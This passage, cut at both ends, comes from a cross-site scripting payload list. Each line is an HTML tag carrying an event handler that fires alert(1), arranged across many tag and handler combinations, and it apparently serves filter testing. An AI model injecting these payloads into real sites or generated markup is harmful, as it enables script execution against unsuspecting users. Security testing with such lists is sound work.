contenteditable>test</q> +<rb draggable="true" ondrag="alert(1)">test</rb> +<rb draggable="true" ondragend="alert(1)">test</rb> +<rb draggable="true" ondragenter="alert(1)">test</rb> +<rb draggable="true" ondragleave="alert(1)">test</rb> +<rb draggable="true" ondragstart="alert(1)">test</rb> +<rb id=x tabindex=1 onactivate=alert(1)></rb> +<rb id=x tabindex=1 onbeforeactivate=alert(1)></rb> +<rb id=x tabindex=1 onbeforedeactivate=alert(1)></rb><input autofocus> +<rb id=x tabindex=1 ondeactivate=alert(1)></rb><input id=y autofocus> +<rb id=x tabindex=1 onfocus=alert(1)></rb> +<rb id=x tabindex=1 onfocusin=alert(1)></rb> +<rb onbeforecopy="alert(1)" contenteditable>test</rb> +<rb onbeforecut="alert(1)" contenteditable>test</rb> +<rb onbeforepaste="alert(1)" contenteditable>test</rb> +<rb onblur=alert(1) tabindex=1 id=x></rb><input autofocus> +<rb onclick="alert(1)">test</rb> +<rb oncontextmenu="alert(1)">test</rb> +<rb oncopy="alert(1)" contenteditable>test</rb> +<rb oncut="alert(1)" contenteditable>test</rb> +<rb ondblclick="alert(1)">test</rb> +<rb onfocusout=alert(1) tabindex=1 id=x></rb><input autofocus> +<rb onkeydown="alert(1)" contenteditable>test</rb> +<rb onkeypress="alert(1)" contenteditable>test</rb> +<rb onkeyup="alert(1)" contenteditable>test</rb> +<rb onmousedown="alert(1)">test</rb> +<rb onmouseenter="alert(1)">test</rb> +<rb onmouseleave="alert(1)">test</rb> +<rb onmousemove="alert(1)">test</rb> +<rb onmouseout="alert(1)">test</rb> +<rb onmouseover="alert(1)">test</rb> +<rb onmouseup="alert(1)">test</rb> +<rb onpaste="alert(1)" contenteditable>test</rb> +<rp draggable="true" ondrag="alert(1)">test</rp> +<rp draggable="true" ondragend="alert(1)">test</rp> +<rp draggable="true" ondragenter="alert(1)">test</rp> +<rp draggable="true" ondragleave="alert(1)">test</rp> +<rp draggable="true" ondragstart="alert(1)">test</rp> +<rp id=x tabindex=1 onactivate=alert(1)></rp> +<rp id=x tabindex=1 onbeforeactivate=alert(1)></rp> +<rp id=x tabindex=1 onbeforedeactivate=alert(1)></rp><input autofocus> +<rp id=x tabindex=1 ondeactivate=alert(1)></rp><input id=y autofocus> +<rp id=x tabindex=1 onfocus=alert(1)></rp> +<rp id=x tabindex=1 onfocusin=alert(1)></rp> +<rp onbeforecopy="alert(1)" contenteditable>test</rp> +<rp onbeforecut="alert(1)" contenteditable>test</rp> +<rp onbeforepaste="alert(1)" contenteditable>test</rp> +<rp onblur=alert(1) tabindex=1 id=x></rp><input autofocus> +<rp onclick="alert(1)">test</rp> +<rp oncontextmenu="alert(1)">test</rp> +<rp oncopy="alert(1)" contenteditable>test</rp> +<rp oncut="alert(1)" contenteditable>test</rp> +<rp ondblclick="alert(1)">test</rp> +<rp onfocusout=alert(1) tabindex=1 id=x></rp><input autofocus> +<rp onkeydown="alert(1)" contenteditable>test</rp> +<rp onkeypress="alert(1)" contenteditable>test</rp> +<rp onkeyup="alert(1)" contenteditable>test</rp> +<rp onmousedown="alert(1)">test</rp> +<rp onmouseenter="alert(1)">test</rp> +<rp onmouseleave="alert(1)">test</rp> +<rp onmousemove="alert(1)">test</rp> +<rp onmouseout="alert(1)">test</rp> +<rp onmouseover="alert(1)">test</rp> +<rp onmouseup="alert(1)">test</rp> +<rp onpaste="alert(1)" contenteditable>test</rp> +<rt draggable="true" ondrag="alert(1)">test</rt> +<rt draggable="true" ondragend="alert(1)">test</rt> +<rt draggable="true" ondragenter="alert(1)">test</rt> +<rt draggable="true" ondragleave="alert(1)">test</rt> +<rt draggable="true" ondragstart="alert(1)">test</rt> +<rt id=x tabindex=1 onactivate=alert(1)></rt> +<rt id=x tabindex=1 onbeforeactivate=alert(1)></rt> +<rt id=x tabindex=1 onbeforedeactivate=alert(1)></rt><input autofocus> +<rt id=x tabindex=1 ondeactivate=alert(1)></rt><input id=y autofocus> +<rt id=x tabindex=1 onfocus=alert(1)></rt> +<rt id=x tabindex=1 onfocusin=alert(1)></rt> +<rt onbeforecopy="alert(1)" contenteditable>test</rt> +<rt onbeforecut="alert(1)" contenteditable>test</rt> +<rt onbeforepaste="alert(1)" contenteditable>test</rt> +<rt onblur=alert(1) tabindex=1 id=x></rt><input autofocus> +<rt onclick="alert(1)">test</rt> +<rt oncontextmenu="alert(1)">test</rt> +<rt oncopy="alert(1)" contenteditable>test</rt> +<rt oncut="alert(1)" contenteditable>test</rt> +<rt ondblclick="alert(1)">test</rt> +<rt onfocusout=alert(1) tabindex=1 id=x></rt><input autofocus> +<rt onkeydown="alert(1)" contenteditable>test</rt> +<rt onkeypress="alert(1)" contenteditable>test</rt> +<rt onkeyup="alert(1)" contenteditable>test</rt> +<rt onmousedown="alert(1)">test</rt> +<rt onmouseenter="alert(1)">test</rt> +<rt onmouseleave="alert(1)">test</rt> +<rt onmousemove="alert(1)">test</rt> +<rt onmouseout="alert(1)">test</rt> +<rt onmouseover="alert(1)">test</rt> +<rt onmouseup="alert(1)">test</rt> +<rt onpaste="alert(1)" contenteditable>test</rt> +<rtc draggable="true" ondrag="alert(1)">test</rtc> +<rtc draggable="true" ondragend="alert(1)">test</rtc> +<rtc draggable="true" ondragenter="alert(1)">test</rtc> +<rtc draggable="true" ondragleave="alert(1)">test</rtc> +<rtc draggable="true" ondragstart="alert(1)">test</rtc> +<rtc id=x tabindex=1 onactivate=alert(1)></rtc> +<rtc id=x tabindex=1 onbeforeactivate=alert(1)></rtc> +<rtc id=x tabindex=1 onbeforedeactivate=alert(1)></rtc><input autofocus> +<rtc id=x tabindex=1 ondeactivate=alert(1)></rtc><input id=y autofocus> +<rtc id=x tabindex=1 onfocus=alert(1)></rtc> +<rtc id=x tabindex=1 onfocusin=alert(1)></rtc> +<rtc onbeforecopy="alert(1)" contenteditable>test</rtc> +<rtc onbeforecut="alert(1)" contenteditable>test</rtc> +<rtc onbeforepaste="alert(1)" contenteditable>test</rtc> +<rtc onblur=alert(1) tabindex=1 id=x></rtc><input autofocus> +<rtc onclick="alert(1)">test</rtc> +<rtc oncontextmenu="alert(1)">test</rtc> +<rtc oncopy="alert(1)" contenteditable>test</rtc> +<rtc oncut="alert(1)" contenteditable>test</rtc> +<rtc ondblclick="alert(1)">test</rtc> +<rtc onfocusout=alert(1) tabindex=1 id=x></rtc><input autofocus> +<rtc onkeydown="alert(1)" contenteditable>test</rtc> +<rtc onkeypress="alert(1)" contenteditable>test</rtc> +<rtc onkeyup="alert(1)" contenteditable>test</rtc> +<rtc onmousedown="alert(1)">test</rtc> +<rtc onmouseenter="alert(1)">test</rtc> +<rtc onmouseleave="alert(1)">test</rtc> +<rtc onmousemove="alert(1)">test</rtc> +<rtc onmouseout="alert(1)">test</rtc> +<rtc onmouseover="alert(1)">test</rtc> +<rtc onmouseup="alert(1)">test</rtc> +<rtc onpaste="alert(1)" contenteditable>test</rtc> +<ruby draggable="true" ondrag="alert(1)">test</ruby> +<ruby draggable="true" ondragend="alert(1)">test</ruby> +<ruby draggable="true" ondragenter="alert(1)">test</ruby> +<ruby draggable="true" ondragleave="alert(1)">test</ruby> +<ruby draggable="true" ondragstart="alert(1)">test</ruby> +<ruby id=x tabindex=1 onactivate=alert(1)></ruby> +<ruby id=x tabindex=1 onbeforeactivate=alert(1)></ruby> +<ruby id=x tabindex=1 onbeforedeactivate=alert(1)></ruby><input autofocus> +<ruby id=x tabindex=1 ondeactivate=alert(1)></ruby><input id=y autofocus> +<ruby id=x tabindex=1 onfocus=alert(1)></ruby> +<ruby id=x tabindex=1 onfocusin=alert(1)></ruby> +<ruby onbeforecopy="alert(1)" contenteditable>test</ruby> +<ruby onbeforecut="alert(1)" contenteditable>test</ruby> +<ruby onbeforepaste="alert(1)" contenteditable>test</ruby> +<ruby onblur=alert(1) tabindex=1 id=x></ruby><input autofocus> +<ruby onclick="alert(1)">test</ruby> +<ruby oncontextmenu="alert(1)">test</ruby> +<ruby oncopy="alert(1)" contenteditable>test</ruby> +<ruby oncut="alert(1)" contenteditable>test</ruby> +<ruby ondblclick="alert(1)">test</ruby> +<ruby onfocusout=alert(1) tabindex=1 id=x></ruby><input autofocus> +<ruby onkeydown="alert(1)" contenteditable>test</ruby> +<ruby onkeypress="alert(1)" contenteditable>test</ruby> +<ruby onkeyup="alert(1)" contenteditable>test</ruby> +<ruby onmousedown="alert(1)">test</ruby> +<ruby onmouseenter="alert(1)">test</ruby> +<ruby onmouseleave="alert(1)">test</ruby> +<ruby onmousemove="alert(1)">test</ruby> +<ruby onmouseout="alert(1)">test</ruby> +<ruby onmouseover="alert(1)">test</ruby> +<ruby onmouseup="alert(1)">test</ruby> +<ruby onpaste="alert(1)" contenteditable>test</ruby> +<s draggable="true" ondrag="alert(1)">test</s> +<s draggable="true" ondragend="alert(1)">test</s> +<s draggable="true" ondragenter="alert(1)">test</s> +<s draggable="true" ondragleave="alert(1)">test</s> +<s draggable="true" ondragstart="alert(1)">test</s> +<s id=x tabindex=1 onactivate=alert(1)></s> +<s id=x tabindex=1 onbeforeactivate=alert(1)></s> +<s id=x tabindex=1 onbeforedeactivate=alert(1)></s><input autofocus> +<s id=x tabindex=1 ondeactivate=alert(1)></s><input id=y autofocus> +<s id=x tabindex=1 onfocus=alert(1)></s> +<s id=x tabindex=1 onfocusin=alert(1)></s> +<s onbeforecopy="alert(1)" contenteditable>test</s> +<s onbeforecut="alert(1)" contenteditable>test</s> +<s onbeforepaste="alert(1)" contenteditable>test</s> +<s onblur=alert(1) tabindex=1 id=x></s><input autofocus> +<s onclick="alert(1)">test</s> +<s oncontextmenu="alert(1)">test</s> +<s oncopy="alert(1)" contenteditable>test</s> +<s oncut="alert(1)" contenteditable>test</s> +<s ondblclick="alert(1)">test</s> +<s onfocusout=alert(1) tabindex=1 id=x></s><input autofocus> +<s onkeydown="alert(1)" contenteditable>test</s> +<s onkeypress="alert(1)" contenteditable>test</s> +<s onkeyup="alert(1)" contenteditable>test</s> +<s onmousedown="alert(1)">test</s> +<s onmouseenter="alert(1)">test</s> +<s onmouseleave="alert(1)">test</s> +<s onmousemove="alert(1)">test</s> +<s onmouseout="alert(1)">test</s> +<s onmouseover="alert(1)">test</s> +<s onmouseup="alert(1)">test</s> +<s onpaste="alert(1)" contenteditable>test</s> +<samp draggable="true" ondrag="alert(1)">test</samp> +<samp draggable="true" ondragend="alert(1)">test</samp> +<samp draggable="true" ondragenter="alert(1)">test</samp> +<samp draggable="true" ondragleave="alert(1)">test</samp> +<samp draggable="true" ondragstart="alert(1)">test</samp> +<samp id=x tabindex=1 onactivate=alert(1)></samp> +<samp id=x tabindex=1 onbeforeactivate=alert(1)></samp> +<samp id=x tabindex=1 onbeforedeactivate=alert(1)></samp><input autofocus> +<samp id=x tabindex=1 ondeactivate=alert(1)></samp><input id=y autofocus> +<samp id=x tabindex=1 onfocus=alert(1)></samp> +<samp id=x tabindex=1 onfocusin=alert(1)></samp> +<samp onbeforecopy="alert(1)" contenteditable>test</samp> +<samp onbeforecut="alert(1)" contenteditable>test</samp> +<samp onbeforepaste="alert(1)" contenteditable>test</samp> +<samp onblur=alert(1) tabindex=1 id=x></samp><input autofocus> +<samp onclick="alert(1)">test</samp> +<samp oncontextmenu="alert(1)">test</samp> +<samp oncopy="alert(1)" contenteditable>test</samp> +<samp oncut="alert(1)" contenteditable>test</samp> +<samp ondblclick="alert(1)">test</samp> +<samp onfocusout=alert(1) tabindex=1 id=x></samp><input autofocus> +<samp onkeydown="alert(1)" contenteditable>test</samp> +<samp onkeypress="alert(1)" contenteditable>test</samp> +<samp onkeyup="alert(1)" contenteditable>test</samp> +<samp onmousedown="alert(1)">test</samp> +<samp onmouseenter="alert(1)">test</samp> +<samp onmouseleave="alert(1)">test</samp> +<samp onmousemove="alert(1)">test</samp> +<samp onmouseout="alert(1)">test</samp> +<samp onmouseover="alert(1)">test</samp> +<samp onmouseup="alert(1)">test</samp> +<samp onpaste="alert(1)" contenteditable>test</samp> +<script draggable="true" ondrag="alert(1)">test</script> +<script draggable="true" ondragend="alert(1)">test</script> +<script draggable="true" ondragenter="alert(1)">test</script> +<script draggable="true" ondragleave="alert(1)">test</script> +<script draggable="true" ondragstart="alert(1)">test</script> +<script id=x tabindex=1 onactivate=alert(1)></script> +<script id=x tabindex=1 onbeforeactivate=alert(1)></script> +<script id=x tabindex=1 onbeforedeactivate=alert(1)></script><input autofocus> +<script id=x tabindex=1 ondeactivate=alert(1)></script><input id=y autofocus> +<script id=x tabindex=1 onfocus=alert(1)></script> +<script id=x tabindex=1 onfocusin=alert(1)></script> +<script onbeforecopy="alert(1)" contenteditable>test</script> +<script onbeforecut="alert(1)" contenteditable>test</script> +<script onbeforepaste="alert(1)" contenteditable>test</script> +<script onblur=alert(1) tabindex=1 id=x></script><input autofocus> +<script onclick="alert(1)">test</script> +<script oncontextmenu="alert(1)">test</script> +<script oncopy="alert(1)" contenteditable>test</script> +<script oncut="alert(1)" contenteditable>test</script> +<script ondblclick="alert(1)">test</script> +<script onerror=alert(1) src=/></script> +<script onfocusout=alert(1) tabindex=1 id=x></script><input autofocus> +<script onkeydown="alert(1)" contenteditable>test</script> +<script onkeypress="alert(1)" contenteditable>test</script> +<script onkeyup="alert(1)" contenteditable>test</script> +<script onload=alert(1) src=validjs.js></script> +<script onmousedown="alert(1)">test</script> +<script onmouseenter="alert(1)">test</script> +<script onmouseleave="alert(1)">test</script> +<script onmousemove="alert(1)">test</script> +<script onmouseout="alert(1)">test</script> +<script onmouseover="alert(1)">test</script> +<script onmouseup="alert(1)">test</script> +<script onpaste="alert(1)" contenteditable>test</script> +<script onreadystatechange=alert(1)></script> +<section draggable="true" ondrag="alert(1)">test</section> +<section draggable="true" ondragend="alert(1)">test</section> +<section draggable="true" ondragenter="alert(1)">test</section> +<section draggable="true" ondragleave="alert(1)">test</section> +<section draggable="true" ondragstart="alert(1)">test</section> +<section id=x tabindex=1 onactivate=alert(1)></section> +<section id=x tabindex=1 onbeforeactivate=alert(1)></section> +<section id=x tabindex=1 onbeforedeactivate=alert(1)></section><input autofocus> +<section id=x tabindex=1 ondeactivate=alert(1)></section><input id=y autofocus> +<section id=x tabindex=1 onfocus=alert(1)></section> +<section id=x tabindex=1 onfocusin=alert(1)></section> +<section onbeforecopy="alert(1)" contenteditable>test</section> +<section onbeforecut="alert(1)" contenteditable>test</section> +<section onbeforepaste="alert(1)" contenteditable>test</section> +<section onblur=alert(1) tabindex=1 id=x></section><input autofocus> +<section onclick="alert(1)">test</section> +<section oncontextmenu="alert(1)">test</section> +<section oncopy="alert(1)" contenteditable>test</section> +<section oncut="alert(1)" contenteditable>test</section> +<section ondblclick="alert(1)">test</section> +<section onfocusout=alert(1) tabindex=1 id=x></section><input autofocus> +<section onkeydown="alert(1)" contenteditable>test</section> +<section onkeypress="alert(1)" contenteditable>test</section> +<section onkeyup="alert(1)" contenteditable>test</section> +<section onmousedown="alert(1)">test</section> +<section onmouseenter="alert(1)">test</section> +<section onmouseleave="alert(1)">test</section> +<section onmousemove="alert(1)">test</section> +<section onmouseout="alert(1)">test</section> +<section onmouseover="alert(1)">test</section> +<section onmouseup="alert(1)">test</section> +<section onpaste="alert(1)" contenteditable>test</section> +<select autofocus onfocus=alert(1)> +<select autofocus onfocusin=alert(1)> +<select draggable="true" ondrag="alert(1)">test</select> +<select draggable="true" ondragend="alert(1)">test</select> +<select draggable="true" ondragenter="alert(1)">test</select> +<select draggable="true" ondragleave="alert(1)">test</select> +<select draggable="true" ondragstart="alert(1)">test</select> +<select id=x tabindex=1 onactivate=alert(1)></select> +<select id=x tabindex=1 onbeforeactivate=alert(1)></select> +<select id=x tabindex=1 onbeforedeactivate=alert(1)></select><input autofocus> +<select id=x tabindex=1 ondeactivate=alert(1)></select><input id=y autofocus> +<select onbeforecopy="alert(1)" contenteditable>test</select> +<select onbeforecut="alert(1)" contenteditable>test</select> +<select onbeforepaste="alert(1)" contenteditable>test</select> +<select onblur=alert(1) id=x></select><input autofocus> +<select onchange=alert(1)><option>change me</option><option>XSS</option></select> +<select onclick="alert(1)">test</select> +<select oncontextmenu="alert(1)">test</select> +<select oncopy="alert(1)" contenteditable>test</select> +<select oncut="alert(1)" contenteditable>test</select> +<select ondblclick="alert(1)">test</select> +<select onfocusout=alert(1) id=x></select><input autofocus> +<select onkeydown="alert(1)" contenteditable>test</select> +<select onkeypress="alert(1)" contenteditable>test</select> +<select onkeyup="alert(1)" contenteditable>test</select> +<select onmousedown="alert(1)">test</select> +<select onmouseenter="alert(1)">test</select> +<select onmouseleave="alert(1)">test</select> +<select onmousemove="alert(1)">test</select> +<select onmouseout="alert(1)">test</select> +<select onmouseover="alert(1)">test</select> +<select onmouseup="alert(1)">test</select> +<select onpaste="alert(1)" contenteditable>test</select> +<shadow draggable="true" ondrag="alert(1)">test</shadow> +<shadow draggable="true" ondragend="alert(1)">test</shadow> +<shadow draggable="true" ondragenter="alert(1)">test</shadow> +<shadow draggable="true" ondragleave="alert(1)">test</shadow> +<shadow draggable="true" ondragstart="alert(1)">test</shadow> +<shadow id=x tabindex=1 onactivate=alert(1)></shadow> +<shadow id=x tabindex=1 onbeforeactivate=alert(1)></shadow> +<shadow id=x tabindex=1 onbeforedeactivate=alert(1)></shadow><input autofocus> +<shadow id=x tabindex=1 ondeactivate=alert(1)></shadow><input id=y autofocus> +<shadow id=x tabindex=1 onfocus=alert(1)></shadow> +<shadow id=x tabindex=1 onfocusin=alert(1)></shadow> +<shadow onbeforecopy="alert(1)" contenteditable>test</shadow> +<shadow onbeforecut="alert(1)" contenteditable>test</shadow> +<shadow onbeforepaste="alert(1)" contenteditable>test</shadow> +<shadow onblur=alert(1) tabindex=1 id=x></shadow><input autofocus> +<shadow onclick="alert(1)">test</shadow> +<shadow oncontextmenu="alert(1)">test</shadow> +<shadow oncopy="alert(1)" contenteditable>test</shadow> +<shadow oncut="alert(1)" contenteditable>test</shadow> +<shadow ondblclick="alert(1)">test</shadow> +<shadow onfocusout=alert(1) tabindex=1 id=x></shadow><input autofocus> +<shadow onkeydown="alert(1)" contenteditable>test</shadow> +<shadow onkeypress="alert(1)" contenteditable>test</shadow> +<shadow onkeyup="alert(1)" contenteditable>test</shadow> +<shadow onmousedown="alert(1)">test</shadow> +<shadow onmouseenter="alert(1)">test</shadow> +<shadow onmouseleave="alert(1)">test</shadow> +<shadow onmousemove="alert(1)">test</shadow> +<shadow onmouseout="alert(1)">test</shadow> +<shadow onmouseover="alert(1)">test</shadow> +<shadow onmouseup="alert(1)">test</shadow> +<shadow onpaste="alert(1)" contenteditable>test</shadow> +<slot draggable="true" ondrag="alert(1)">test</slot> +<slot draggable="true" ondragend="alert(1)">test</slot> +<slot draggable="true" ondragenter="alert(1)">test</slot> +<slot draggable="true" ondragleave="alert(1)">test</slot> +<slot draggable="true" ondragstart="alert(1)">test</slot> +<slot id=x tabindex=1 onactivate=alert(1)></slot> +<slot id=x tabindex=1 onbeforeactivate=alert(1)></slot> +<slot id=x tabindex=1 onbeforedeactivate=alert(1)></slot><input autofocus> +<slot id=x tabindex=1 ondeactivate=alert(1)></slot><input id=y autofocus> +<slot id=x tabindex=1 onfocus=alert(1)></slot> +<slot id=x tabindex=1 onfocusin=alert(1)></slot> +<slot onbeforecopy="alert(1)" contenteditable>test</slot> +<slot onbeforecut="alert(1)" contenteditable>test</slot> +<slot onbeforepaste="alert(1)" contenteditable>test</slot> +<slot onblur=alert(1) tabindex=1 id=x></slot><input autofocus> +<slot onclick="alert(1)">test</slot> +<slot oncontextmenu="alert(1)">test</slot> +<slot oncopy="alert(1)" contenteditable>test</slot> +<slot oncut="alert(1)" contenteditable>test</slot> +<slot ondblclick="alert(1)">test</slot> +<slot onfocusout=alert(1) tabindex=1 id=x></slot><input autofocus> +<slot onkeydown="alert(1)" contenteditable>test</slot> +<slot onkeypress="alert(1)" contenteditable>test</slot> +<slot onkeyup="alert(1)" contenteditable>test</slot> +<slot onmousedown="alert(1)">test</slot> +<slot onmouseenter="alert(1)">test</slot> +<slot onmouseleave="alert(1)">test</slot> +<slot onmousemove="alert(1)">test</slot> +<slot onmouseout="alert(1)">test</slot> +<slot onmouseover="alert(1)">test</slot> +<slot onmouseup="alert(1)">test</slot> +<slot onpaste="alert(1)" contenteditable>test</slot> +<small draggable="true" ondrag="alert(1)">test</small> +<small draggable="true" ondragend="alert(1)">test</small> +<small draggable="true" ondragenter="alert(1)">test</small> +<small draggable="true" ondragleave="alert(1)">test</small> +<small draggable="true" ondragstart="alert(1)">test</small> +<small id=x tabindex=1 onactivate=alert(1)></small> +<small id=x tabindex=1 onbeforeactivate=alert(1)></small> +<small id=x tabindex=1 onbeforedeactivate=alert(1)></small><input autofocus> +<small id=x tabindex=1 ondeactivate=alert(1)></small><input id=y autofocus> +<small id=x tabindex=1 onfocus=alert(1)></small> +<small id=x tabindex=1 onfocusin=alert(1)></small> +<small onbeforecopy="alert(1)" contenteditable>test</small> +<small onbeforecut="alert(1)" contenteditable>test</small> +<small onbeforepaste="alert(1)" contenteditable>test</small> +<small onblur=alert(1) tabindex=1 id=x></small><input autofocus> +<small onclick="alert(1)">test</small> +<small oncontextmenu="alert(1)">test</small> +<small oncopy="alert(1)" contenteditable>test</small> +<small oncut="alert(1)" contenteditable>test</small> +<small ondblclick="alert(1)">test</small> +<small onfocusout=alert(1) tabindex=1 id=x></small><input autofocus> +<small onkeydown="alert(1)" contenteditable>test</small> +<small onkeypress="alert(1)" contenteditable>test</small> +<small onkeyup="alert(1)" contenteditable>test</small> +<small onmousedown="alert(1)">test</small> +<small onmouseenter="alert(1)">test</small> +<small onmouseleave="alert(1)">test</small> +<small onmousemove="alert(1)">test</small> +<small onmouseout="alert(1)">test</small> +<small onmouseover="alert(1)">test</small> +<small onmouseup="alert(1)">test</small> +<small onpaste="alert(1)" contenteditable>test</small> +<source draggable="true" ondrag="alert(1)">test</source> +<source draggable="true" ondragend="alert(1)">test</source> +<source draggable="true" ondragenter="alert(1)">test</source> +<source draggable="true" ondragleave="alert(1)">test</source> +<source draggable="true" ondragstart="alert(1)">test</source> +<source id=x tabindex=1 onactivate=alert(1)></source> +<source id=x tabindex=1 onbeforeactivate=alert(1)></source> +<source id=x tabindex=1 onbeforedeactivate=alert(1)></source><input autofocus> +<source id=x tabindex=1 ondeactivate=alert(1)></source><input id=y autofocus> +<source id=x tabindex=1 onfocus=alert(1)></source> +<source id=x tabindex=1 onfocusin=alert(1)></source> +<source onbeforecopy="alert(1)" contenteditable>test</source> +<source onbeforecut="alert(1)" contenteditable>test</source> +<source onbeforepaste="alert(1)" contenteditable>test</source> +<source onblur=alert(1) tabindex=1 id=x></source><input autofocus> +<source onclick="alert(1)">test</source> +<source oncontextmenu="alert(1)">test</source> +<source oncopy="alert(1)" contenteditable>test</source> +<source oncut="alert(1)" contenteditable>test</source> +<source ondblclick="alert(1)">test</source> +<source onfocusout=alert(1) tabindex=1 id=x></source><input autofocus> +<source onkeydown="alert(1)" contenteditable>test</source> +<source onkeypress="alert(1)" contenteditable>test</source> +<source onkeyup="alert(1)" contenteditable>test</source> +<source onmousedown="alert(1)">test</source> +<source onmouseenter="alert(1)">test</source> +<source onmouseleave="alert(1)">test</source> +<source onmousemove="alert(1)">test</source> +<source onmouseout="alert(1)">test</source> +<source onmouseover="alert(1)">test</source> +<source onmouseup="alert(1)">test</source> +<source onpaste="alert(1)" contenteditable>test</source> +<spacer draggable="true" ondrag="alert(1)">test</spacer> +<spacer draggable="true" ondragend="alert(1)">test</spacer> +<spacer draggable="true" ondragenter="alert(1)">test</spacer> +<spacer draggable="true" ondragleave="alert(1)">test</spacer> +<spacer draggable="true" ondragstart="alert(1)">test</spacer> +<spacer id=x tabindex=1 onactivate=alert(1)></spacer> +<spacer id=x tabindex=1 onbeforeactivate=alert(1)></spacer> +<spacer id=x tabindex=1 onbeforedeactivate=alert(1)></spacer><input autofocus> +<spacer id=x tabindex=1 ondeactivate=alert(1)></spacer><input id=y autofocus> +<spacer id=x tabindex=1 onfocus=alert(1)></spacer> +<spacer id=x tabindex=1 onfocusin=alert(1)></spacer> +<spacer onbeforecopy="alert(1)" contenteditable>test</spacer> +<spacer onbeforecut="alert(1)" contenteditable>test</spacer> +<spacer onbeforepaste="alert(1)" contenteditable>test</spacer> +<spacer onblur=alert(1) tabindex=1 id=x></spacer><input autofocus> +<spacer onclick="alert(1)">test</spacer> +<spacer oncontextmenu="alert(1)">test</spacer> +<spacer oncopy="alert(1)" contenteditable>test</spacer> +<spacer oncut="alert(1)" contenteditable>test</spacer> +<spacer ondblclick="alert(1)">test</spacer> +<spacer onfocusout=alert(1) tabindex=1 id=x></spacer><input autofocus> +<spacer onkeydown="alert(1)" contenteditable>test</spacer> +<spacer onkeypress="alert(1)" contenteditable>test</spacer> +<spacer onkeyup="alert(1)" contenteditable>test</spacer> +<spacer onmousedown="alert(1)">test</spacer> +<spacer onmouseenter="alert(1)">test</spacer> +<spacer onmouseleave="alert(1)">test</spacer> +<spacer onmousemove="alert(1)">test</spacer> +<spacer onmouseout="alert(1)">test</spacer> +<spacer onmouseover="alert(1)">test</spacer> +<spacer onmouseup="alert(1)">test</spacer> +<spacer onpaste="alert(1)" contenteditable>test</spacer> +<span draggable="true" ondrag="alert(1)">test</span> +<span draggable="true" ondragend="alert(1)">test</span> +<span draggable="true" ondragenter="alert(1)">test</span> +<span draggable="true" ondragleave="alert(1)">test</span> +<span draggable="true" ondragstart="alert(1)">test</span> +<span id=x tabindex=1 onactivate=alert(1)></span> +<span id=x tabindex=1 onbeforeactivate=alert(1)></span> +<span id=x tabindex=1 onbeforedeactivate=alert(1)></span><input autofocus> +<span id=x tabindex=1 ondeactivate=alert(1)></span><input id=y autofocus> +<span id=x tabindex=1 onfocus=alert(1)></span> +<span id=x tabindex=1 onfocusin=alert(1)></span> +<span onbeforecopy="alert(1)" contenteditable>test</span> +<span onbeforecut="alert(1)" contenteditable>test</span> +<span onbeforepaste="alert(1)" contenteditable>test</span> +<span onblur=alert(1) tabindex=1 id=x></span><input autofocus> +<span onclick="alert(1)">test</span> +<span oncontextmenu="alert(1)">test</span> +<span oncopy="alert(1)" contenteditable>test</span> +<span oncut="alert(1)" contenteditable>test</span> +<span ondblclick="alert(1)">test</span> +<span onfocusout=alert(1) tabindex=1 id=x></span><input autofocus> +<span onkeydown="alert(1)" contenteditable>test</span> +<span onkeypress="alert(1)" contenteditable>test</span> +<span onkeyup="alert(1)" contenteditable>test</span> +<span onmousedown="alert(1)">test</span> +<span onmouseenter="alert(1)">test</span> +<span onmouseleave="alert(1)">test</span> +<span onmousemove="alert(1)">test</span> +<span onmouseout="alert(1)">test</span> +<span onmouseover="alert(1)">test</span> +<span onmouseup="alert(1)">test</span> +<span onpaste="alert(1)" contenteditable>test</span> +<strike draggable="true" ondrag="alert(1)">test</strike> +<strike draggable="true" ondragend="alert(1)">test</strike> +<strike draggable="true" ondragenter="alert(1)">test</strike> +<strike draggable="true" ondragleave="alert(1)">test</strike> +<strike draggable="true" ondragstart="alert(1)">test</strike> +<strike id=x tabindex=1 onactivate=alert(1)></strike> +<strike id=x tabindex=1 onbeforeactivate=alert(1)></strike> +<strike id=x tabindex=1 onbeforedeactivate=alert(1)></strike><input autofocus> +<strike id=x tabindex=1 ondeactivate=alert(1)></strike><input id=y autofocus> +<strike id=x tabindex=1 onfocus=alert(1)></strike> +<strike id=x tabindex=1 onfocusin=alert(1)></strike> +<strike onbeforecopy="alert(1)" contenteditable>test</strike> +<strike onbeforecut="alert(1)" contenteditable>test</strike> +<strike onbeforepaste="alert(1)" contenteditable>test</strike> +<strike onblur=alert(1) tabindex=1 id=x></strike><input autofocus> +<strike onclick="alert(1)">test</strike> +<strike oncontextmenu="alert(1)">test</strike> +<strike oncopy="alert(1)" contenteditable>test</strike> +<strike oncut="alert(1)" contenteditable>test</strike> +<strike ondblclick="alert(1)">test</strike> +<strike onfocusout=alert(1) tabindex=1 id=x></strike><input autofocus> +<strike onkeydown="alert(1)" contenteditable>test</strike> +<strike onkeypress="alert(1)" contenteditable>test</strike> +<strike onkeyup="alert(1)" contenteditable>test</strike> +<strike onmousedown="alert(1)">test</strike> +<strike onmouseenter="alert(1)">test</strike> +<strike onmouseleave="alert(1)">test</strike> +<strike onmousemove="alert(1)">test</strike> +<strike onmouseout="alert(1)">test</strike> +<strike onmouseover="alert(1)">test</strike> +<strike onmouseup="alert(1)">test</strike> +<strike onpaste="alert(1)" contenteditable>test</strike> +<strong draggable="true" ondrag="alert(1)">test</strong> +<strong draggable="true" ondragend="alert(1)">test</strong> +<strong draggable="true" ondragenter="alert(1)">test</strong> +<strong draggable="true" ondragleave="alert(1)">test</strong> +<strong draggable="true" ondragstart="alert(1)">test</strong> +<strong id=x tabindex=1 onactivate=alert(1)></strong> +<strong id=x tabindex=1 onbeforeactivate=alert(1)></strong> +<strong id=x tabindex=1 onbeforedeactivate=alert(1)></strong><input autofocus> +<strong id=x tabindex=1 ondeactivate=alert(1)></strong><input id=y autofocus> +<strong id=x tabindex=1 onfocus=alert(1)></strong> +<strong id=x tabindex=1 onfocusin=alert(1)></strong> +<strong onbeforecopy="alert(1)" contenteditable>test</strong> +<strong onbeforecut="alert(1)" contenteditable>test</strong> +<strong onbeforepaste="alert(1)" contenteditable>test</strong> +<strong onblur=alert(1) tabindex=1 id=x></strong><input autofocus> +<strong onclick="alert(1)">test</strong> +<strong oncontextmenu="alert(1)">test</strong> +<strong oncopy="alert(1)" contenteditable>test</strong> +<strong oncut="alert(1)" contenteditable>test</strong> +<strong ondblclick="alert(1)">test</strong> +<strong onfocusout=alert(1) tabindex=1 id=x></strong><input autofocus> +<strong onkeydown="alert(1)" contenteditable>test</strong> +<strong onkeypress="alert(1)" 